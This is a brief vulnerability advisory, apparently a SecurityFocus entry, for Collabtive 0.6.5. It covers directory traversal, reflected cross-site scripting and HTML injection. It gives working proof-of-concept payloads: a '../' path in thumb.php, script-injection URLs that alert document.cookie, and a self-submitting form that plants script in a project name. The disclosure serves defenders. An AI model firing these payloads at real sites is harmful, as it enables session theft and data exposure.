source: https://www.securityfocus.com/bid/47105/info

Collabtive is prone to multiple remote input-validation vulnerabilities including cross-site scripting, HTML-injection, and directory-traversal issues.

Attackers can exploit these issues to obtain sensitive information, execute arbitrary script code, and steal cookie-based authentication credentials.

Collabtive 0.6.5 is vulnerable; other versions may also be affected. 

Directory Traversal:

http://www.example.com/thumb.php?pic=./../../../../../tmp/photo.jpg

Cross-site Scripting:

http://www.example.com/managetimetracker.php?action=editform&tid=1&id=1"><script>alert(document.cookie)</script>
http://www.example.com/manageuser.php?action=profile&id=1"><script>alert(document.cookie)</script>


HTML-injection:

<form action="http://www.example.com/manageproject.php?action=edit&id=1" method="post" name="main">
<input type="hidden" name="name" value=&#039;test"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="desc" value="Description">
<input type="hidden" name="end" value="16.03.2011">
</form>
<script>
document.main.submit();
</script>